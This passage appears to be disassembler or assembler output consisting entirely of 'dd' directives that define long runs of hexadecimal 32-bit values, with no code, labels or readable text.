		dd 0D6D55FC1h, 4B36206Fh, 137C32DCh, 7FB3D001h,	0BCDB1E4Ch
		dd 86482F26h, 0BD0A9512h, 0E5B3D235h, 9D950104h, 7304F725h
		dd 275ABD75h, 0EE56C8F6h, 644986B0h, 5176F0F5h,	4AA2D759h
		dd 0BE60D5C0h, 57AA1235h, 8066B830h, 537B966Dh,	81050B97h
		dd 22FF9589h, 5C615E7Dh, 0D61EEAEFh, 94561503h,	0EDA09A9Bh
		dd 3D7018C0h, 800F2A5Bh, 4F73BFAFh, 33998231h, 2678A76Bh
		dd 192F7D60h, 0D4C24D4Fh, 0A961444Eh, 76592D31h, 3C5E52EFh
		dd 0BBF3C540h, 679C07E7h, 0DE697A36h, 0EA22BF60h, 9D0C8E62h
		dd 56FDB44Ch, 0EB7BBDD8h, 3140F122h, 2CBB0296h,	500FA104h
		dd 37967EC6h, 2522FC50h, 8F9003B9h, 0C40098DFh,	0EB7C1F66h
		dd 1AECEADh, 874F59BDh,	21A354C7h, 51641D6h, 1966590Dh
		dd 5F12B84h, 6BAE3A54h,	1182304h, 0D1BF7F5Ch, 68282E28h
		dd 0B46F9562h, 0E08E8F60h, 2FEB00F6h, 0DA8A2475h, 834A0F96h
		dd 0CB0BB7B3h, 800850EBh, 45D3410Bh, 0C0695A96h, 0CBCCF0F5h
		dd 284AB5A0h, 912A714h,	0D54E299Dh, 5E61CB0Bh, 78525145h
		dd 8706809Dh, 2AC544h, 83750CE5h, 0E19DB5BFh, 765F9427h
		dd 2CA3604Fh, 0A005910Eh, 0E7BC936Bh, 23996BAFh, 0D0123E15h
		dd 0BFA260h, 9884D35Bh,	4BB4D133h, 0BFB28C61h, 90821C09h
		dd 44B17115h, 0B02AA76Ah, 1289128Eh, 0E7397E61h, 0F36A5EA4h
		dd 9FE96500h, 8019D89h,	7B04D782h, 31C55403h, 0F1BF14D1h
		dd 967BFC3Ah, 0FE9782B8h, 0B2E2FA02h, 669CD732h, 0A900C3EEh
		dd 0BF665CA7h, 1CE92852h, 66FFF2A5h, 0BA602F92h, 0C5A85BDh
		dd 0A9B542E8h, 0C02BA9A7h, 9086B7ECh, 0F2D2BF04h, 0C7AF7163h
		dd 199899EBh, 7A004B55h, 5EB4972Ch, 9F2E02Ah, 5FA08A25h
		dd 0D58AA85Ch, 81004509h, 0D9E49AC3h, 0B0A6C266h, 0F375DD4Dh
		dd 0B2BB780Ah, 758B5609h, 61949828h, 11180374h,	0FAF3CED8h
		dd 574C6690h, 0DA12F07h, 0EB62389Eh, 14646BEh, 0E1491DA4h
		dd 3AB0A188h, 95052DB0h
		dd 0C90532B7h, 3CC827Fh, 0D5990078h, 50524743h,	0A404D2A5h
		dd 29317C4Dh, 98D534FAh, 6076F4C5h, 5A0EE71Eh, 54714980h
		dd 0B141EEA5h, 0FF99807Fh, 303233E3h, 0DA5F7638h, 9000B87Bh
		dd 0BEF85C63h, 2AE97069h, 6F79BD20h, 0C2BA00A8h, 0FCEB6D19h
		dd 8E1EB5E6h, 28C24E2Eh, 0C976508Dh, 0A82ABD61h, 379F7869h
		dd 9F73806Ah, 9D5CB6F0h, 4BD2C209h, 0D820029h, 970C1A59h
		dd 0BD04D6FBh, 0F6AA2FD5h, 0BFD9E54Bh, 60017A22h, 0BD0BCA8Bh
		dd 38D43F75h, 9D8957B9h, 81803354h, 16B472F3h, 0D1FF0270h
		dd 2218D31h, 1AC24777h,	0CDD76E5Ah, 6F65E0B2h, 7205B164h
		dd 7EFBF5BDh, 94083281h, 103FB70h, 6A3A4CDEh, 7E950902h
		dd 0B90D9E4h, 5F5B5657h, 0D23A8160h, 91D641F5h,	9BB0534h
		dd 0AFB1906h, 0F2C2F996h, 0DFE90225h, 64DE7155h, 84E394BAh
		dd 0C664AB73h, 42BF0084h, 11B350DDh, 2D1AC4DFh,	5C711721h
		dd 643D5E4Bh, 0ED13AB23h, 6E1A29AFh, 8E75512h, 0A06A4Eh
		dd 132C7669h, 5E6AF559h, 0F896FFFh, 0EBB833B1h,	82CA82DFh
		dd 6641h, 0CE44BAF2h, 58E050A7h, 0FD1674ECh, 0E031270h
		dd 0C9A2B0DCh, 0B261FCC3h, 7A2E82Bh, 0C1843CBFh, 11227B79h
		dd 73F92D40h, 8B5E0045h, 49BB4DFDh, 9711873Ah, 0DEA829A7h
		dd 905FEE40h, 3121200Ah, 0EA70E62Eh, 7BF80F60h,	7745006Dh
		dd 8D6ADC23h, 8901988Ah, 9058CC8Fh, 0E33E71E4h,	39924BC0h
		dd 0B43877F9h, 0FB026837h, 85F74023h, 68B27512h, 2F0536C1h
		dd 5EEC4C25h, 0C94B4C3Dh, 6DA32B4Bh, 8A126D4Ch,	6834F1D9h
		dd 34E0D202h, 0C5D70F81h, 0D21C362Bh, 35CD04C8h, 24E3140Bh
		dd 0B8408385h, 250A9603h, 33E06109h, 17F5A995h,	26F4AF68h
		dd 34EF9C6Ch, 1648AD67h, 4180B870h, 2EFA3186h, 82EB2E24h
		dd 98E2E06h, 42C8EE12h,	7465B5E8h, 5F1663AAh, 1EB3D03Bh
		dd 537BB02h, 12D7118Ch,	6FD6084h, 0E8E8A0E0h, 8D8B1A02h
		dd 25D03FFh, 0F52E3960h, 294CB7EEh, 14D1C694h, 1DA5509Fh
		dd 0DBE6C4FEh, 6565D095h, 35510D86h, 3179008Fh,	0C4B75B5h
		dd 0C5102ACAh, 7F8741CBh, 9E6A0BF0h, 0AD00DEEEh, 238B746Ah
		dd 4B602510h, 0BFF28CF5h, 0FD63890Ch, 4005CC5Ah, 9C2FB92Ah
		dd 0D13BF30Eh, 0BB133E11h, 0F3B12F12h, 0E14BA62Eh, 883BF1B7h
		dd 54008350h, 15D734FFh, 0AB2C7h, 11446338h, 711DDC6Ch
		dd 46860F2Dh, 0FC5F2F63h, 0EA1CB937h, 0C02B7A45h, 8A5703AAh
		dd 8A84BAFDh, 5AA4013Ch, 0C721CB5Bh, 2F5FF901h,	1723517Fh
		dd 0BCA85100h, 0B78D89AAh, 9AED4A8h, 2D787A0Ah,	9C67D48Fh
		dd 6BEFF834h, 1B236Ah, 0C943D7A2h, 2B2F2D68h, 445E4C1h
		dd 928469Bh, 0D23EBCADh, 13B538E2h, 62A5FD48h, 5E1BF90Ch
		dd 12287114h, 2577C6B8h, 0C5C6D9BFh, 2D55D195h,	0CB185Ch
		dd 6C85B12Bh, 0FBBD12F0h, 0B7D4E066h, 0CB8AFA4Bh, 0C6812922h
		dd 0A75CF60Dh, 95043170h, 2A401FEFh, 582F7590h,	0D5C0435Fh
		dd 0DC266D1h, 0CCF7C101h, 0D3C75CA0h, 401DA670h, 14975F15h
		dd 89B674CDh, 8965F1BFh, 260FBD8h, 5C9C1C20h, 0A66225D1h
		dd 0DC8CFCh, 90188DE0h,	54ADE933h, 71797127h, 0A668A503h
		dd 2F9C011Dh, 9B8FEF4h,	0DEE47CCAh, 0B4BF3F8h, 8D601FDh
		dd 0BAAF41B7h, 0AAB557B9h, 0A609A517h, 40EF71FDh, 6090ECB7h
		dd 0B2C198B7h, 585A3C13h, 0C910205Bh, 0DE9DD8B4h, 615AE02Ch
		dd 81039050h, 440FBAE3h, 6EA44F41h, 1E1100A6h, 68857546h
		dd 8D091639h, 8E108769h, 585EBD62h, 603D16ECh, 61046453h
		dd 2C0202AAh, 0B84141BEh, 19A56B9Dh, 0B2A8E63Ah, 2BC7301Ch
		dd 9F7C9302h, 7F5D7803h, 2EFE02E1h, 0BB568E31h,	0FEEACAE4h
		dd 0A980C45Bh, 0F8E9020Ah, 0F217E401h, 0B6124A6Ah, 5CD82F3Ch
		dd 65DFC4C2h, 0E0B81FADh, 5FF8CD5Ah, 0FECB7CD8h, 1E8DE64Bh
		dd 0AB95346Eh, 0FC065D09h, 0C905DCF2h, 741C27A1h, 30618B04h
		dd 0F64F5E8Eh, 0BD64A065h, 737C0247h, 0FC5D1772h, 0ED2F045Ch
		dd 7C1DC067h, 0A525C5E1h, 7C2EF8F5h, 0D80ACB50h, 95CDA8FFh
		dd 8652DF04h, 0BD96FCACh, 0A82BBDB3h, 8F5057Eh,	0C9644D22h
		dd 8CA542BCh, 0D70E900Fh, 8065A1h, 9AA63082h, 0B0225F4Dh
		dd 0B24CE629h, 77BE007Ch, 2F63BB62h, 613A1388h,	8426BB5Fh
		dd 24815809h, 0FE8B89DEh, 9457EE09h, 484942C1h,	0CA0A0BB0h
		dd 979AD558h, 0D54B5456h, 19802037h, 0B0CA94F7h, 5C0E6920h
		dd 9058E45Ah, 1814C00Fh, 1D5EB1h, 0F80B2A8Bh, 0BFD4F147h
		dd 1A9D4F0Dh, 0E0DFE402h, 970D087Ch, 2A78657Bh,	724314AAh
		dd 9004F747h, 0AF296A53h, 0C080652Ah, 0B8FAD2BBh, 0A1610126h
		dd 49183C60h, 0AEBF0096h, 0E2844D1Ch, 0BB04AC67h, 5ADE91CDh
		dd 29B0A1B8h, 2AF13DBDh, 0B54F9C8Eh, 0B88D3D4Fh, 838D02ADh
		dd 877BDAD7h, 107DE6D5h, 0EE1AF59Dh, 0E04CA6D3h, 0E2208290h
		dd 888B5F60h, 0BD2D33BAh, 0D3C0AB41h, 572070D1h, 0C55BF925h
		dd 425097Ch, 1F4635Ch, 29CEEE68h, 0D09010C8h, 23EF91B5h
		dd 98F0CB0Eh, 0BC205697h, 0F9562DCEh, 38D42FF6h, 2AF87761h
		dd 18B293F6h, 144C4930h, 8CEE2180h, 0DE74224Ah,	89603A56h
		dd 971F4DBDh, 0D62D233Bh, 25FF59F9h, 46C0CE4Dh,	5AE251FBh
		dd 0EED6D072h, 0B05AB3F8h, 0AA31B8h, 0C90C9991h, 1720B383h
		dd 10D1EA2Bh, 0E24A415Eh, 1A4600F2h, 0A6BCC43Eh, 630E1E6Eh
		dd 7FB24042h, 54BD0B35h, 315BC11Dh, 5325C666h, 0D98B8ADCh
		dd 0CD51C999h, 0D19D89B9h, 0A7D35B2Ch, 0C61FC479h, 5CBDC3C0h
		dd 0F8159332h, 0B9C05BDDh, 0D9B78481h, 0F65ADAACh, 7148E075h
		dd 0A1FB4B05h, 0D6172AD6h, 3EB923A9h, 0D3C9B0BDh, 2D83C755h
		dd 9BC0A16Dh, 2AB8301h,	534AC79Dh, 10778DF4h, 0E1E28Ch
		dd 8FA597F3h, 0CF275AA8h, 9E93314h, 5DB20032h, 7281E650h
		dd 5B872DEDh, 1F4CFFEh,	89A7BD84h, 3919DDB5h, 1E91295h
		dd 1AB24BF6h, 5D4FF30h,	3CB690D5h, 0EB80D549h, 0D8D7799Ah
		dd 6AFD0509h, 176D1E81h, 1ABB216Fh, 0E9BDEC44h,	3BE20E5Ah
		dd 506E680Eh, 0B829A9D2h, 4E169A8Fh, 3515FF9Dh,	8C17B8DAh
		dd 0FABF8201h, 0B58D29E7h, 0D49BA56Eh, 3B971F3Dh, 157A1241h
		dd 0B539AE33h, 0EF3E163Bh, 0B9004A6Fh, 0AE06DE5Ah, 95152945h
		dd 99C0AC1h, 0F550FC8Ah, 0DBD4871Bh, 22E6C050h,	54FD94Bh
		dd 7AB81907h, 0DD2049Bh, 0CD9DBA02h, 1588AD1Bh,	0D09A2DC2h
		dd 3C9B9529h, 8BB57025h, 379557F1h, 92C0F640h, 8389BD6Ah
		dd 89821559h, 552A519Dh, 2F44C79Ch, 0D8F30481h,	0AD77721Ch
		dd 65B6D2FBh, 0C69B7DA0h, 0FE9344BEh, 879C2EAFh, 71D3579Eh
		dd 0E939A81Ch, 9D6295B2h, 13E056CDh, 5F158D01h,	0B7F19120h
		dd 3FE62AA4h, 303019B2h, 0DB0A0967h, 81D602C8h,	97F7C240h
		dd 1334CD9h, 5B95550Bh,	0DF447250h, 96F9B023h, 2ADB4919h
		dd 1FFD9D05h, 1CF222E3h, 1A95A30h, 0A19E14ADh, 6429176Eh
		dd 41613FFEh, 0DD5CD0F8h, 0A044F76Fh, 9F923D1Bh, 0FD2007D8h
		dd 630F7718h, 61FC2901h, 8CD64Bh, 257295F9h, 2CB19D10h
		dd 50FB1862h, 97C9E655h, 77A72159h, 9DF355A1h, 4CEC3B17h
		dd 3A6EAA4Fh, 0A8165605h, 0C0A3FCCBh, 2CE50A31h, 0CA6900E8h
		dd 345E36F3h, 6A4F16E4h, 0D79D5549h, 893E8596h,	69EE498Dh
		dd 49CC5528h, 0D4DE96h,	48B38B64h, 9D29BABBh, 0CD2014Eh
		dd 0F8AD78D1h, 0A89495F0h, 0DB97D270h, 4068D0F5h, 60BD425Ah
		dd 0B002F3E8h, 25875D13h
		dd 58DB000Dh, 9D253398h, 5679EDh, 4BBF6052h, 535A1131h
		dd 785A88h, 2164DFD8h, 15C0EFEAh, 0CD7F3A0Bh, 277EDE66h
		dd 0B1015559h, 5C9FEF4Fh, 132B92Eh, 0B9CBD3F0h,	0C3238B3Ah
		dd 77B20201h, 2A5FCA36h, 1EBB49B4h, 6DF0B349h, 0FF60A45Eh
		dd 0A46E21Dh, 80DA7AC1h, 349109F7h, 0CB1DCD75h,	8471854Ch
		dd 94017B7Ah, 2DD380A4h, 0F33A29E9h, 5CDA84A0h,	0B8ADE913h
		dd 0D08E033Fh, 1A76EF70h, 0E65745B2h, 137BFD7h,	0C2842D00h
		dd 97654EF3h, 2A54681Ah, 0FE0CA109h, 9DF5C3E8h,	9B7EB3D8h
		dd 6F55F401h, 61575014h, 483C0025h, 0FBD3374Eh,	0BB20045Eh
		dd 0C5244925h, 0DC2D2E85h, 82DC022Dh, 5C060D52h, 1A12539Dh
		dd 0A8B92BE5h, 0F68520D7h, 0EA00CE11h, 0FE4DBE6h, 0B8A0F5C0h
		dd 23AD2096h, 0FF6A5B13h, 7100D16Fh, 5140ED35h,	0B52EF879h
		dd 610815E0h, 49AD4717h, 7F446D4h, 9253685Fh, 0C8727E8Bh
		dd 2AE2F887h, 391E3A0Eh, 69A28E66h, 11AE735Dh, 0EF60260Ch
		dd 2908F224h, 8961092Bh, 0B01C4679h, 0CDB9F912h, 42FF844Eh
		dd 0FBBF0FA3h, 0CFCBA1D5h, 0DD0817A0h, 8228BD4h, 29321D95h
		dd 2DED80DDh, 66D5D89Eh, 3E9BA0Ch, 25B63A5Eh, 16CB53C8h
		dd 0C4A7B8ECh, 0AE160221h, 0A315E64Dh, 4B64C130h, 0E99C8172h
		dd 0CFB81009h, 86AC1D9Ah, 469D8902h, 0C4C4A470h, 8BA209D5h
		dd 89952920h, 8DB86AAh,	2ED14969h, 0E9292520h, 8D28B072h
		dd 30E8499h, 711329BDh,	8A682590h, 7B9DFBB7h, 806098E0h
		dd 0B3803469h, 0E96114BEh, 0C94A7445h, 4DA33B75h, 3D958904h
		dd 0E6D8EB1Fh, 8FD78A2Ah, 79E2F264h, 0D815E892h, 0C524CDECh
		dd 4E0195F9h, 0E212690Ch, 0DA61847Ah, 0A9BD2901h, 0C8F73A24h
		dd 8A5450E0h, 0D8BE5900h, 0FEE6E775h, 91B51609h, 0FF58F518h
		dd 2ABC109Ch, 5395CC51h, 181C59F4h, 0C7400B5h, 0E7C6F35Ah
		dd 8A25EC61h, 0B92860DDh, 0A72FEBE2h, 3974A0C6h, 25164CECh
		dd 9EF2D6h, 159A5EA4h, 166F578Ch, 0A2DB1386h, 0A0B2003Dh
		dd 4C4677C2h, 0A78812B7h, 6F84EB3Ah, 1FF5CA05h,	2B0360BEh
		dd 69005BB0h, 9DC1F3ABh, 4A6B0695h, 0E0C6B6FCh,	9B19506h
		dd 2B5F5851h, 0B2D3137Dh, 72C65BC0h, 0FD8097FEh, 2DF9DDFAh
		dd 0BBEEF2h, 0D78164C4h, 13255BD5h, 0CFD22B25h,	601BE4C8h
		dd 2F1D7B48h, 0F1F0CA46h, 9D177CAEh, 8BF93085h,	231226E8h
		dd 0EDE215FDh, 16BB292Ch, 0CA2BFA20h, 83FE8D83h, 860FB990h
		dd 78A31DD3h, 63C08D30h, 1F0557BCh, 17400367h, 0DD1F0DFEh
		dd 3AD7DEDBh, 0D4F17E27h, 40177F00h, 0B531D88Bh, 0E8155AB9h
		dd 0E62BED59h, 8A79A0F1h, 62C505CCh, 0B8ADFE0Fh, 900E20A5h
		dd 1FBD2501h, 0DD01CFBh, 0BAC12D86h, 81098BF8h,	792F7AE7h
		dd 0AF794455h, 2827377Bh, 5C002EC4h, 0F74F4913h, 34E307Ah
		dd 0E4EF8E24h, 6AD886E3h, 4213BB1Eh, 35BAAD44h,	8212EB84h
		dd 0DAEB3784h, 0C015C88Ah, 0E1FF06B2h, 324FA79Ah, 0C2A7CAF8h
		dd 9C572B05h, 42CA4571h, 47F7AD2Dh, 26D29A20h, 0E0014DD7h
		dd 0D780AFBFh, 984F85Eh, 6CA291B8h, 18F6D65Eh, 0C4BF28ACh
		dd 0A5985160h, 5E211520h, 2520E95Fh, 5DB0E2DEh,	8000F037h
		dd 0A3DAAFB3h, 8BF09547h, 6A1AB731h, 0CC2B1BE5h, 14E2657h
		dd 4B8105DEh, 2CF88B08h, 2E4A80A3h, 7E65892h, 27D6C919h
		dd 0DA43827Bh, 68524DF7h, 0C4DD6237h, 2E95FC82h, 5EE9B05Eh
		dd 0BCFA0523h, 0D8D0D250h, 37DFABF5h, 7E478007h, 8A3715C7h
		dd 4C015A07h, 0ED948078h, 0AEA0FDE7h, 1E044990h, 0B501FB8Bh
		dd 68FB40EBh, 0C3BF2185h, 0E4B35Ah, 5FE2167Ah, 120F123Ch
		dd 0E8DBEAE5h, 0BDF692h, 0D6573D7Eh, 122BAC35h,	0F32DC786h
		dd 17BC58AFh, 0BEF92641h, 9BE4E780h, 760BFDCAh,	57897318h
		dd 0E95BDBC8h, 2C83724Ah, 5E75CA80h, 0CD796BBAh, 5BB35087h
		dd 1AD711Bh, 437EAB8Eh,	6EB67BE6h, 6452D518h, 5F813119h
		dd 4FF9CA6Ah, 6F00C16Ah, 0DF27BF66h, 35134FBBh,	0A226C8h
		dd 355892A8h, 898D2506h, 0D6195C95h, 0F8001B46h, 0E56CC8F5h
		dd 0D05F695Eh, 5302A5B3h, 2429BD23h, 6898CA2h, 0DB001771h
		dd 0A79A334h, 129D74BDh, 1035A3Ch, 0D75E38Eh, 726B3B5Fh
		dd 803E1823h, 5C7405F0h, 1243EF81h, 0E829AD61h,	0CAA980BFh
		dd 4A708B33h, 8525F450h, 42CA520h, 59E7BB96h, 79488755h
		dd 38C0984Dh, 0E78201h,	0DB99C63Dh, 0E062BFF1h,	0DA09C25Fh
		dd 53D55BAh, 11F1FA85h,	6358CCEBh, 29098B74h, 0DD0B758Dh
		dd 5758E79Ch, 68CAC0B4h, 16BCAB14h, 1DEA5Fh, 3941B629h
		dd 0FE2FB4F7h, 5FB6D0E4h, 0A735FC8Ch, 33DC1AA0h, 89402775h
		dd 365E1E4Ah, 69BB6660h, 6010C4BDh, 9C34E861h, 0BBBF1E30h
		dd 735F518Dh, 13F07EDCh, 0B6583755h, 6792E00Eh,	0DB4051Ch
		dd 0EE87E3F3h, 0B6EEC760h, 84104E66h, 917BAA5Dh, 0EE79FF00h
		dd 90755FCDh, 3C76E8C5h, 58849508h, 355CFD03h, 2D9204CAh
		dd 0DAAEF590h, 0C018C80Bh, 4EF00750h, 38A8E44Fh, 0D59529C2h
		dd 61D7BA4Ah, 2C3AF9F6h, 374BB323h, 553811CAh, 0A0ADE75Bh
		dd 25DD4A71h, 0A2D78B09h, 5646E9FCh, 7E1FF6BFh,	2BA3A0Fh
		dd 16AC8A59h, 73F97FB6h, 7447E725h, 40B76D9Fh, 7B17609Eh
		dd 6F0E2202h, 5D850F37h, 0EAC0C8EFh, 4A520B74h,	25CEF82Ch
		dd 0FC96D72Eh, 79A41E4Eh, 0FC8E3DBFh, 0F7108712h, 1D10015h
		dd 4D03A219h, 904209F1h, 2B16EE9Dh, 8BA7F762h, 81555D9h
		dd 7438F642h, 1A46D636h, 610E773Fh, 76A07293h, 19998D89h
		dd 6808D1B5h, 45007E2Eh, 79F64E12h, 9DF50D67h, 0E876531Ah
		dd 50B8DF40h, 589F008Bh, 0A0B7F46Dh, 0E3016291h, 7E2DCD24h
		dd 206B965Fh, 1D76A8ECh, 8906D300h, 838A46DDh, 0DE5904EAh
		dd 0BE93154Bh, 9D0A7D08h, 828BD060h, 57615952h,	188086B7h
		dd 0D73DFE1Fh, 0E18B56E4h, 0FFF59C40h, 0AF41753Ah, 53399BDCh
		dd 6195AE2Dh, 0DB3827ACh, 81D31D37h, 77FDC6C2h,	46BAD743h
		dd 5D605E4Dh, 9D605B39h, 6DFD8A12h, 40E9E77Eh, 0FAD6127Dh
		dd 0E1E6F84Ah, 0BB999D12h, 1009DEDCh, 4A16BDB5h, 850B97B9h
		dd 355D17A1h, 873027B9h, 0E24CA092h, 0B5C54B5Eh, 0BB8FCFF8h
		dd 0B7BF75A0h, 0C400D285h, 0B2F2A750h, 9BD8207h, 0FA1D8745h
		dd 299DA5D1h, 0D31F21C4h, 3FA4ABE8h, 6487004Dh,	0BF927A49h
		dd 0B2FD1A71h, 0EA794A68h, 7CA8E625h, 584227FEh, 1B6459CDh
		dd 0FD78A360h, 0E4E02C04h, 9AEE61F2h, 0E416C84Eh, 4C04EA48h
		dd 96091431h, 4206E5D9h, 5567F04h, 5A2BF0EAh, 1FE6AE38h
		dd 600B6026h, 7A9CECFFh, 0C3EE770Eh, 31C71CC7h,	0E9905B26h
		dd 125AD1F9h, 0E461C88Bh, 40B7FB93h, 9D073DEDh,	14917A37h
		dd 0A2BFC180h, 3F04780Eh, 2C099D89h, 2FB72DAFh,	0EA4A636Ah
		dd 91BC6A24h, 3D572EA2h, 0ECBB96D1h, 45660375h,	0DD5F5796h
		dd 3DE8D05h, 501A8F08h,	96B8BD29h, 52945E97h, 5D859B35h
		dd 0E5BA8B52h, 152A684Ah, 973C18E1h, 198091ECh,	8B2D4865h
		dd 50B09A00h, 345F8673h, 93F82D77h, 0BFC0F374h,	4E57D240h
		dd 25588A2Dh, 0D6393837h, 0E3AA05CAh, 0AE21366Ch, 6F43FD6Bh
		dd 5D406927h, 8149B529h, 60CB4B02h, 9960015Fh, 2B05E99Dh
		dd 0E7E936C4h, 0D7F8E8B8h, 0EA937313h, 0DB9D13AFh, 744282E3h
		dd 0FCE4F733h, 4D950139h, 6AFA4FC3h, 53172910h,	0F9119B00h
		dd 279D2B69h, 0B2E816A5h, 75823189h, 15B9DE40h,	2187C00Ch
		dd 9E61CA66h, 60C9A4F9h
		dd 1954B584h, 99EE4DB5h, 7CFCA6F1h, 600C66B8h, 809B9150h
		dd 7EF2BBC0h, 0DE067CC4h, 61F4A230h, 6E1E25E8h,	0F44A5Eh
		dd 14FB1B59h, 0FD9BB66h, 0EC8110BFh, 98A413BFh,	7E58A153h
		dd 0E180289Bh, 84B9EDE4h, 57501E02h, 89603EBBh,	0E48EE7CFh
		dd 33A4601Ah, 0D73A0B3Dh, 44D0170Bh, 0E5732E5Bh, 124E729h
		dd 77EBA7BBh, 66C00A03h, 14F5BFC3h, 108E0FDFh, 0D343E94Fh
		dd 0D54F72AEh, 765E3C6Ah, 3E1446D6h, 48CB0213h,	60361F0Bh
		dd 9D277135h, 0B2AB5B79h, 283AA059h, 0EFB7928Eh, 0A34F60C1h
		dd 34262A6Ah, 1A890650h, 82D9D9EDh, 9FDBD01h, 9260226h
		dd 50DC44DFh, 0EB005DD1h, 0D6DD392h, 71461212h,	2DB200DBh
		dd 5497CCDCh, 0FBF6609h, 5D0F12DDh, 0EA6A76B2h,	71F431F4h
		dd 255B001Ch, 0B55F899h, 7D2F8D01h, 5AA7A918h, 0DAE92F6Ch
		dd 2871F674h, 637DB721h, 34712EBCh, 0D1D0CA25h,	680A00DCh
		dd 153C8254h, 6FC15E4Eh, 0C9400B96h, 95250595h,	0B552D474h
		dd 30D3A599h, 6520AC20h, 60902533h, 73C4BB76h, 7AA7A1BFh
		dd 1E893E00h, 3E9D37BFh, 902541ACh, 9BC0C7EDh, 13469CB8h
		dd 0A620C96Bh, 0C46E4F70h, 59A90E00h, 86CF5413h, 297C7305h
		dd 9AD4919Dh, 27E6F6FFh, 0CDB557F9h, 42381C9Ch,	0B18B3200h
		dd 76039DCFh, 3F46D623h, 0D7E94A7Ch, 0CC3DDB32h, 677E902Dh
		dd 2AB20327h, 0BDB7E72Ch, 16E56210h, 44BF5B1Dh,	0BA3D7058h
		dd 7E23180Bh, 5001F4AEh, 0EF9E5AF9h, 623A96B4h,	0B0273E87h
		dd 70E6F801h, 2746082Bh, 0D671E409h, 0E81F1265h, 123C509h
		dd 678082BDh, 210A55A1h, 0F04DD012h, 309997FFh,	0DB0B6BF8h
		dd 3AF4E2D2h, 4485B85Fh, 0D9DF801h, 8C2B5C81h, 0E325C3CDh
		dd 0CD18DD18h, 4F843175h, 3A5EC929h, 20953B98h,	89972ED1h
		dd 0FCC7008Fh, 9D7EFF68h, 0B5138579h, 233C81A2h, 3116A54Bh
		dd 0D1D7349Ch, 0FABF0F19h, 9B48717Ah, 5269C7A3h, 7D6D95Bh
		dd 8088B44Fh, 9BDA77B6h, 0C8F40050h, 4DA818F5h,	1304CEB8h
		dd 91E3A543h, 30D39AE8h, 8E637AD1h, 49336C27h, 801411A1h
		dd 671E61BDh, 4BBB2E4Ah, 12DD334Fh, 6BA35E50h, 0D2031B64h
		dd 283D6975h, 0CBEBA4E6h, 0ADC84BB0h, 1D428A36h, 0CB94D7h
		dd 0BB053120h, 34D295C1h, 13D11802h, 74C2866Ch,	8501C1C0h
		dd 98B27BE9h, 39180425h, 309D7392h, 82EA43B9h, 25C61BDFh
		dd 65D60A42h, 8A8ADC0h,	4D5812FFh, 0B600FF68h, 0D655D7BBh
		dd 9A5B4E51h, 0C216C89Ah, 40D5A602h, 800B5D63h,	29658B9h
		dd 5D5F560Bh, 0EE811EBDh, 0EB0F955Ch, 0ACD9E897h, 0FC9804E6h
		dd 0A5B6C02Bh, 7AB3FDE0h, 0D38C402h, 0F7D9BD29h, 7D23566Ch
		dd 0BB60C00Ch, 943415E7h, 7FB9F60Fh, 1F5D6125h,	1ACCADCDh
		dd 7B99D525h, 181659E7h, 0B0532746h, 0CB4FE263h, 4B325AE0h
		dd 0FFDDDC5h, 55D2C22Fh, 4E65D7BDh, 0CB7AD4DAh,	58EBE457h
		dd 1A20220Bh, 0F6955D90h, 9ED725BFh, 49F6C99Fh,	0E1C2BEA9h
		dd 2B93DD5h, 0CDCB8088h, 513DE575h, 0A6E4F471h,	0A8E00672h
		dd 4BD9549Dh, 0E14EDE72h, 93802B9Bh, 8E55BBBh, 2B126FFBh
		dd 0A8FD6E2h, 0E8B0A9D3h, 0F4450018h, 3B23E42Fh, 93905786h
		dd 9C973D77h, 61EE60FAh, 0B638F381h, 0E5343925h, 26A51ADDh
		dd 1DE69DCh, 0E00C7A2Bh, 7025D784h, 0C69F6075h,	0DF019763h
		dd 0DE29BD89h, 123913DDh, 0D226B527h, 57210292h, 482F6158h
		dd 5EAD27C7h, 0CBBC0E8h, 434B8FB6h, 4A0B79CCh, 83EDBDh
		dd 0B9605090h, 5A5D866Dh, 4B7DFF6Ah, 64E0B36Ah,	96E99082h
		dd 7F2FE5B8h, 0DE95766Ah, 8368AC02h, 0E6A296D1h, 8B649FB9h
		dd 9582EF0Bh, 0E0BB1853h, 0D16509A8h, 0C0555B56h, 24327CFFh
		dd 0DE935D88h, 0DE3B9B01h, 319EA435h, 1258DCDAh, 0B86FAE1Ch
		dd 3D001623h, 3160A45Bh, 0ABBD4E8Dh, 0B9E28B12h, 0D3EBDB5Fh
		dd 0FC825AF8h, 1C4A9EE9h, 569082DDh, 1AE4558Bh,	0C8CD5F4Bh
		dd 0D79DB83Ah, 65ABCB12h, 0A9FE867Ch, 0DAD564A1h, 0D55A6B5Eh
		dd 8E5038FBh, 89D81615h, 0B84EA906h, 0F270DE3h,	3B172080h
		dd 12F632C8h, 3140D678h, 0E839280Fh, 0B4039083h, 0FC5EAE91h
		dd 0F4DE4FEBh, 5E9D5B0Dh, 554D5A90h, 3097D860h,	0CA9A0EE5h
		dd 29E77946h, 161F448Dh, 7F96200Bh, 47F69789h, 0E4525C63h
		dd 85E0E5B6h, 0C5040617h, 0F567BDC4h, 0D27ABCh,	20A768C6h
		dd 0D3B5610Ch, 0ECD89255h, 235807E0h, 0FE946113h, 0A42EA6BBh
		dd 0CA8E9BADh, 1DAFEC02h, 70AAEA5Dh, 0D4B79720h, 7FA03E17h
		dd 0D80B812Ch, 0B79D1D59h, 80189180h, 7C5BF51Dh, 89531387h
		dd 0E988E58Dh, 3CA67B61h, 0B19D33F0h, 0D7B9314Ah, 0E76AAAB4h
		dd 57148405h, 297B82A7h, 9D12D152h, 45BC2B39h, 412437E3h
		dd 8A2DEB51h, 2E311595h, 1CA743E9h, 30B7DDh, 492C3486h
		dd 98040A12h, 27ADBD33h, 0BB48A3BBh, 0ED2F4116h, 27A0E8A7h
		dd 46F638D6h, 2329A3E0h, 15C525BDh, 2C11FBC7h, 0FD958904h
		dd 0B1ADC824h, 0CDE42053h, 0E63B3213h, 8213F145h, 60C98C7Ch
		dd 0F960ADD4h, 7A9ABB61h, 0BA7D4B3Eh, 605B566Ah, 1FAABE61h
		dd 0DB01507Fh, 36219637h, 0B168FD8Ah, 4A1D1780h, 9D20E491h
		dd 3ADB13DAh, 0DA64AE4Fh, 0BE589C1h, 80409C2Eh,	0D26ACF25h
		dd 0D7BF053Fh, 2576A82Fh, 59740F71h, 0FB09D1F3h, 0E4E92AE3h
		dd 5000D9FCh, 131C54A2h, 14ACBF09h, 5B015626h, 1BA1C29Eh
		dd 30D7090Bh, 4BB195D4h, 8807A218h, 9998800Fh, 4C1E57B5h
		dd 1A26F5Ch, 7AA6108Eh,	0B62ED379h, 3015B2FBh, 8005C148h
